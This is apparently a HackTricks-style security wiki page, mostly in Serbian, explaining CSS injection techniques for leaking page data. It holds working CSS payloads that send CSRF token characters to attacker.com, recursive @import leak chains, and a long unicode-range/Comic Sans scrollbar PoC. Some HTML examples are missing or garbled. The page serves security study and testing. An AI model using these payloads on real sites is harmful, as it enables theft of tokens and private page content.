# CSS Injection {{#include ../../../banners/hacktricks-training.md}} ## CSS Injection ### Attribute Selector CSS selektori su napravljeni da odgovaraju vrednostima atributa `name` i `value` elementa `input`. Ako atribut vrednosti elementa za unos počinje sa određenim karakterom, učitava se unapred definisani spoljašnji resurs: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); } input[name="csrf"][value^="b"] { background-image: url(https://attacker.com/exfil/b); } /* ... */ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` Međutim, ovaj pristup se suočava sa ograničenjem kada se radi o skrivenim ulaznim elementima (`type="hidden"`) jer skriveni elementi ne učitavaju pozadine. #### Zaobilaženje za skrivene elemente Da biste zaobišli ovo ograničenje, možete ciljati sledeći element brata koristeći `~` general sibling combinator. CSS pravilo se zatim primenjuje na sve braće koja slede skriveni ulazni element, uzrokujući učitavanje pozadinske slike: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` Praktičan primer iskorišćavanja ove tehnike detaljno je opisan u datom kodu. Možete ga pogledati [ovde](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Preduslovi za CSS Injekciju Da bi tehnika CSS injekcije bila efikasna, moraju biti ispunjeni određeni uslovi: 1. **Dužina Payload-a**: Vektor CSS injekcije mora podržavati dovoljno duge payload-ove da bi se prilagodili kreiranim selektorima. 2. **Ponovna Evaluacija CSS-a**: Trebalo bi da imate mogućnost da uokvirite stranicu, što je neophodno za pokretanje ponovne evaluacije CSS-a sa novim generisanim payload-ima. 3. **Spoljni Resursi**: Tehnika pretpostavlja mogućnost korišćenja slika hostovanih na spoljnim serverima. Ovo može biti ograničeno politikom bezbednosti sadržaja (CSP) sajta. ### Slepi Selektor Atributa Kao što je [**objašnjeno u ovom postu**](https://portswigger.net/research/blind-css-exfiltration), moguće je kombinovati selektore **`:has`** i **`:not`** da bi se identifikovao sadržaj čak i iz slepih elemenata. Ovo je veoma korisno kada nemate pojma šta se nalazi unutar web stranice koja učitava CSS injekciju.\ Takođe je moguće koristiti te selektore za ekstrakciju informacija iz nekoliko blokova istog tipa kao u: ```html ``` Kombinovanjem ovoga sa sledećom **@import** tehnikom, moguće je exfiltrirati mnogo **informacija koristeći CSS injekciju sa slepih stranica uz** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.** ### @import Prethodna tehnika ima neke nedostatke, proverite preduslove. Morate biti u mogućnosti da **pošaljete više linkova žrtvi**, ili morate biti u mogućnosti da **iframe-ujete stranicu ranjivu na CSS injekciju**. Međutim, postoji još jedna pametna tehnika koja koristi **CSS `@import`** da poboljša kvalitet tehnike. Ovo je prvi put prikazano od strane [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i funkcioniše ovako: Umesto da učitavamo istu stranicu iznova i iznova sa desetinama različitih payload-a svaki put (kao u prethodnoj), učitaćemo **stranicu samo jednom i samo sa importom na server napadača** (ovo je payload koji treba poslati žrtvi): ```css @import url("//attacker.com:5001/start?"); ``` 1. Uvoz će **primiti neki CSS skript** od napadača i **pregledač će ga učitati**. 2. Prvi deo CSS skripta koji će napadač poslati je **još jedan `@import` na server napadača ponovo.** 1. Server napadača neće još odgovoriti na ovaj zahtev, jer želimo da otkrijemo neke karaktere i zatim odgovorimo na ovaj uvoz sa payload-om da otkrijemo sledeće. 3. Drugi i veći deo payload-a će biti **payload za curenje atribut selektora** 1. Ovo će poslati serveru napadača **prvi karakter tajne i poslednji.** 4. Kada server napadača primi **prvi i poslednji karakter tajne**, on će **odgovoriti na uvoz zatražen u koraku 2**. 1. Odgovor će biti tačno isti kao u **koracima 2, 3 i 4**, ali će ovaj put pokušati da **pronađe drugi karakter tajne i zatim pretposlednji**. Napadač će **slediti tu petlju dok ne uspe potpuno da otkrije tajnu**. Možete pronaći originalni [**kod Pepe Vile za eksploataciju ovde**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ili možete pronaći skoro [**isti kod ali komentarisani ovde**.](#css-injection) > [!NOTE] > Skript će pokušati da otkrije 2 karaktera svaki put (od početka i od kraja) jer atribut selektor omogućava da se urade stvari kao što su: > > ```css > /* value^= da se poklapa sa početkom vrednosti*/ > input[value^="0"] { > --s0: url(http://localhost:5001/leak?pre=0); > } > > /* value$= da se poklapa sa krajem vrednosti*/ > input[value$="f"] { > --e0: url(http://localhost:5001/leak?post=f); > } > ``` > > Ovo omogućava skriptu da brže otkrije tajnu. > [!WARNING] > Ponekad skript **ne detektuje ispravno da je otkriveni prefiks + sufiks već potpuna zastava** i nastaviće napred (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će se zaglaviti.\ > Ne brinite, samo proverite **izlaz** jer **možete videti zastavu tamo**. ### Ostali selektori Ostali načini za pristup delovima DOM-a sa **CSS selektorima**: - **`.class-to-search:nth-child(2)`**: Ovo će pretražiti drugi element sa klasom "class-to-search" u DOM-u. - **`:empty`** selektor: Koristi se na primer u [**ovoj analizi**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** ```css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } ``` ### Greška zasnovana XS-Search **Reference:** [CSS zasnovan napad: Zloupotreba unicode-range @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Greška-zasnovan XS-Search PoC od @terjanq](https://twitter.com/terjanq/status/1180477124861407234) Sveukupna namera je da **koristite prilagođenu font sa kontrolisanog krajnjeg tačke** i osigurate da **tekst (u ovom slučaju, 'A') bude prikazan sa ovim fontom samo ako navedeni resurs (`favicon.ico`) ne može biti učitan**. ```html A ``` 1. **Korišćenje prilagođenih fontova**: - Prilagođeni font se definiše koristeći `@font-face` pravilo unutar `

AB

htm ``` When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B". ### Ekstrakcija teksta iz čvora (I): ligature **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) Tehnika koja je opisana uključuje ekstrakciju teksta iz čvora iskorišćavanjem font ligatura i praćenjem promena u širini. Proces uključuje nekoliko koraka: 1. **Kreiranje prilagođenih fontova**: - SVG fontovi se kreiraju sa glifovima koji imaju atribut `horiz-adv-x`, koji postavlja veliku širinu za glif koji predstavlja sekvencu od dva karaktera. - Primer SVG glifa: ``, gde "XY" označava sekvencu od dva karaktera. - Ovi fontovi se zatim konvertuju u woff format koristeći fontforge. 2. **Detekcija promena u širini**: - CSS se koristi da se osigura da tekst ne prelazi u novi red (`white-space: nowrap`) i da se prilagodi stil trake za pomeranje. - Pojava horizontalne trake za pomeranje, stilizovane na poseban način, deluje kao indikator (oracle) da je određena ligatura, a samim tim i određena sekvenca karaktera, prisutna u tekstu. - Uključeni CSS: ```css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } ``` 3. **Proces eksploatacije**: - **Korak 1**: Fontovi se kreiraju za parove karaktera sa značajnom širinom. - **Korak 2**: Koristi se trik sa trakom za pomeranje da se detektuje kada je veliki glif (ligatura za par karaktera) prikazan, što ukazuje na prisustvo sekvence karaktera. - **Korak 3**: Nakon detekcije ligature, generišu se novi glifovi koji predstavljaju sekvence od tri karaktera, uključujući detektovani par i dodajući prethodni ili sledeći karakter. - **Korak 4**: Detekcija tri-karakterne ligature se vrši. - **Korak 5**: Proces se ponavlja, postepeno otkrivajući ceo tekst. 4. **Optimizacija**: - Trenutna metoda inicijalizacije koristeći ` **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) Ovaj trik je objavljen u ovoj [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset korišćen u tekst čvoru može biti otkriven **koristeći podrazumevane fontove** instalirane u pretraživaču: nisu potrebni spoljašnji - ili prilagođeni - fontovi. Koncept se vrti oko korišćenja animacije za postepeno širenje širine `div`-a, omogućavajući jednom karakteru da pređe iz 'sufiksa' dela teksta u 'prefiks' deo. Ovaj proces efikasno deli tekst na dva dela: 1. **Prefiks**: Početni red. 2. **Sufiks**: Sledeći redovi. Faze prelaska karaktera bi se pojavile na sledeći način: **C**\ ADB **CA**\ DB **CAD**\ B **CADB** Tokom ovog prelaska, koristi se **unicode-range trik** da se identifikuje svaki novi karakter dok se pridružuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je znatno viši od podrazumevanog fonta, što izaziva pojavu vertikalne trake za pomeranje. Pojava ove trake za pomeranje indirektno otkriva prisustvo novog karaktera u prefiksu. Iako ova metoda omogućava detekciju jedinstvenih karaktera dok se pojavljuju, ne specificira koji karakter se ponavlja, samo da je do ponavljanja došlo. > [!NOTE] > U suštini, **unicode-range se koristi za detekciju karaktera**, ali pošto ne želimo da učitamo spoljašnji font, moramo pronaći drugi način.\ > Kada je **karakter** **pronađen**, on dobija unapred instalirani **Comic Sans font**, koji **čini** karakter **većim** i **pokreće traku za pomeranje** koja će **otkriti pronađeni karakter**. Check the code extracted from the PoC: ```css /* comic sans is high (lol) and causes a vertical overflow */ @font-face { font-family: has_A; src: local("Comic Sans MS"); unicode-range: U+41; font-style: monospace; } @font-face { font-family: has_B; src: local("Comic Sans MS"); unicode-range: U+42; font-style: monospace; } @font-face { font-family: has_C; src: local("Comic Sans MS"); unicode-range: U+43; font-style: monospace; } @font-face { font-family: has_D; src: local("Comic Sans MS"); unicode-range: U+44; font-style: monospace; } @font-face { font-family: has_E; src: local("Comic Sans MS"); unicode-range: U+45; font-style: monospace; } @font-face { font-family: has_F; src: local("Comic Sans MS"); unicode-range: U+46; font-style: monospace; } @font-face { font-family: has_G; src: local("Comic Sans MS"); unicode-range: U+47; font-style: monospace; } @font-face { font-family: has_H; src: local("Comic Sans MS"); unicode-range: U+48; font-style: monospace; } @font-face { font-family: has_I; src: local("Comic Sans MS"); unicode-range: U+49; font-style: monospace; } @font-face { font-family: has_J; src: local("Comic Sans MS"); unicode-range: U+4a; font-style: monospace; } @font-face { font-family: has_K; src: local("Comic Sans MS"); unicode-range: U+4b; font-style: monospace; } @font-face { font-family: has_L; src: local("Comic Sans MS"); unicode-range: U+4c; font-style: monospace; } @font-face { font-family: has_M; src: local("Comic Sans MS"); unicode-range: U+4d; font-style: monospace; } @font-face { font-family: has_N; src: local("Comic Sans MS"); unicode-range: U+4e; font-style: monospace; } @font-face { font-family: has_O; src: local("Comic Sans MS"); unicode-range: U+4f; font-style: monospace; } @font-face { font-family: has_P; src: local("Comic Sans MS"); unicode-range: U+50; font-style: monospace; } @font-face { font-family: has_Q; src: local("Comic Sans MS"); unicode-range: U+51; font-style: monospace; } @font-face { font-family: has_R; src: local("Comic Sans MS"); unicode-range: U+52; font-style: monospace; } @font-face { font-family: has_S; src: local("Comic Sans MS"); unicode-range: U+53; font-style: monospace; } @font-face { font-family: has_T; src: local("Comic Sans MS"); unicode-range: U+54; font-style: monospace; } @font-face { font-family: has_U; src: local("Comic Sans MS"); unicode-range: U+55; font-style: monospace; } @font-face { font-family: has_V; src: local("Comic Sans MS"); unicode-range: U+56; font-style: monospace; } @font-face { font-family: has_W; src: local("Comic Sans MS"); unicode-range: U+57; font-style: monospace; } @font-face { font-family: has_X; src: local("Comic Sans MS"); unicode-range: U+58; font-style: monospace; } @font-face { font-family: has_Y; src: local("Comic Sans MS"); unicode-range: U+59; font-style: monospace; } @font-face { font-family: has_Z; src: local("Comic Sans MS"); unicode-range: U+5a; font-style: monospace; } @font-face { font-family: has_0; src: local("Comic Sans MS"); unicode-range: U+30; font-style: monospace; } @font-face { font-family: has_1; src: local("Comic Sans MS"); unicode-range: U+31; font-style: monospace; } @font-face { font-family: has_2; src: local("Comic Sans MS"); unicode-range: U+32; font-style: monospace; } @font-face { font-family: has_3; src: local("Comic Sans MS"); unicode-range: U+33; font-style: monospace; } @font-face { font-family: has_4; src: local("Comic Sans MS"); unicode-range: U+34; font-style: monospace; } @font-face { font-family: has_5; src: local("Comic Sans MS"); unicode-range: U+35; font-style: monospace; } @font-face { font-family: has_6; src: local("Comic Sans MS"); unicode-range: U+36; font-style: monospace; } @font-face { font-family: has_7; src: local("Comic Sans MS"); unicode-range: U+37; font-style: monospace; } @font-face { font-family: has_8; src: local("Comic Sans MS"); unicode-range: U+38; font-style: monospace; } @font-face { font-family: has_9; src: local("Comic Sans MS"); unicode-range: U+39; font-style: monospace; } @font-face { font-family: rest; src: local("Courier New"); font-style: monospace; unicode-range: U+0-10FFFF; } div.leak { overflow-y: auto; /* leak channel */ overflow-x: hidden; /* remove false positives */ height: 40px; /* comic sans capitals exceed this height */ font-size: 0px; /* make suffix invisible */ letter-spacing: 0px; /* separation */ word-break: break-all; /* small width split words in lines */ font-family: rest; /* default */ background: grey; /* default */ width: 0px; /* initial value */ animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */ animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */ } div.leak::first-line { font-size: 30px; /* prefix is visible in first line */ text-transform: uppercase; /* only capital letters leak */ } /* iterate over all chars */ @keyframes trychar { 0% { font-family: rest; } /* delay for width change */ 5% { font-family: has_A, rest; --leak: url(?a); } 6% { font-family: rest; } 10% { font-family: has_B, rest; --leak: url(?b); } 11% { font-family: rest; } 15% { font-family: has_C, rest; --leak: url(?c); } 16% { font-family: rest; } 20% { font-family: has_D, rest; --leak: url(?d); } 21% { font-family: rest; } 25% { font-family: has_E, rest; --leak: url(?e); } 26% { font-family: rest; } 30% { font-family: has_F, rest; --leak: url(?f); } 31% { font-family: rest; } 35% { font-family: has_G, rest; --leak: url(?g); } 36% { font-family: rest; } 40% { font-family: has_H, rest; --leak: url(?h); } 41% { font-family: rest; } 45% { font-family: has_I, rest; --leak: url(?i); } 46% { font-family: rest; } 50% { font-family: has_J, rest; --leak: url(?j); } 51% { font-family: rest; } 55% { font-family: has_K, rest; --leak: url(?k); } 56% { font-family: rest; } 60% { font-family: has_L, rest; --leak: url(?l); } 61% { font-family: rest; } 65% { font-family: has_M, rest; --leak: url(?m); } 66% { font-family: rest; } 70% { font-family: has_N, rest; --leak: url(?n); } 71% { font-family: rest; } 75% { font-family: has_O, rest; --leak: url(?o); } 76% { font-family: rest; } 80% { font-family: has_P, rest; --leak: url(?p); } 81% { font-family: rest; } 85% { font-family: has_Q, rest; --leak: url(?q); } 86% { font-family: rest; } 90% { font-family: has_R, rest; --leak: url(?r); } 91% { font-family: rest; } 95% { font-family: has_S, rest; --leak: url(?s); } 96% { font-family: rest; } } /* increase width char by char, i.e. add new char to prefix */ @keyframes loop { 0% { width: 0px; } 1% { width: 20px; } 2% { width: 40px; } 3% { width: 60px; } 4% { width: 80px; } 4% { width: 100px; } 5% { width: 120px; } 6% { width: 140px; } 7% { width: 0px; } } div::-webkit-scrollbar { background: blue; } /* side-channel */ div::-webkit-scrollbar:vertical { background: blue var(--leak); } ``` ### Ekstrakcija tekstualnog čvora (III): curenje charset-a sa podrazumevanjem fonta skrivajući elemente (ne zahteva spoljne resurse) **Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Ovaj slučaj je veoma sličan prethodnom, međutim, u ovom slučaju cilj pravljenja specifičnih **karaktera većim od drugih je da se sakrije nešto** poput dugmeta koje ne bi trebalo da bude pritisnuto od strane bota ili slike koja se neće učitati. Tako bismo mogli meriti akciju (ili nedostatak akcije) i znati da li je specifičan karakter prisutan unutar teksta. ### Ekstrakcija tekstualnog čvora (III): curenje charset-a putem vremenskog keširanja (ne zahteva spoljne resurse) **Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) U ovom slučaju, mogli bismo pokušati da otkrijemo da li je karakter u tekstu učitavanjem lažnog fonta sa iste lokacije: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1); unicode-range: U+0041; } ``` Ako postoji podudaranje, **font će biti učitan sa `/static/bootstrap.min.css?q=1`**. Iako se neće učitati uspešno, **pregledač bi trebao da ga kešira**, i čak i ako nema keša, postoji **304 not modified** mehanizam, tako da bi **odgovor trebao biti brži** od drugih stvari. Međutim, ako razlika u vremenu između keširanog odgovora i onog koji nije keširan nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: Međutim, nakon testiranja, otkrio sam da je prvi problem to što se brzina ne razlikuje mnogo, a drugi problem je što bot koristi `disk-cache-size=1` flag, što je zaista promišljeno. ### Ekstrakcija tekstualnog čvora (III): curenje charset-a vremenskim učitavanjem stotina lokalnih "fontova" (ne zahtevajući spoljne resurse) **Reference:** Ovo se pominje kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) U ovom slučaju možete naznačiti **CSS da učita stotine lažnih fontova** sa iste domene kada dođe do podudaranja. Na ovaj način možete **meriti vreme** koje je potrebno i otkriti da li se karakter pojavljuje ili ne sa nečim poput: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2), .... url(/static/bootstrap.min.css?q=500); unicode-range: U+0041; } ``` I kod bota izgleda ovako: ```python browser.get(url) WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') time.sleep(30) ``` Dakle, ako se font ne poklapa, očekuje se da će vreme odgovora prilikom posete botu biti otprilike 30 sekundi. Međutim, ako dođe do poklapanja fonta, biće poslato više zahteva za preuzimanje fonta, što će uzrokovati kontinuiranu aktivnost mreže. Kao rezultat toga, biće potrebno više vremena da se zadovolji uslov zaustavljanja i primi odgovor. Stoga se vreme odgovora može koristiti kao indikator za određivanje da li postoji poklapanje fonta. ## References - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) {{#include ../../../banners/hacktricks-training.md}}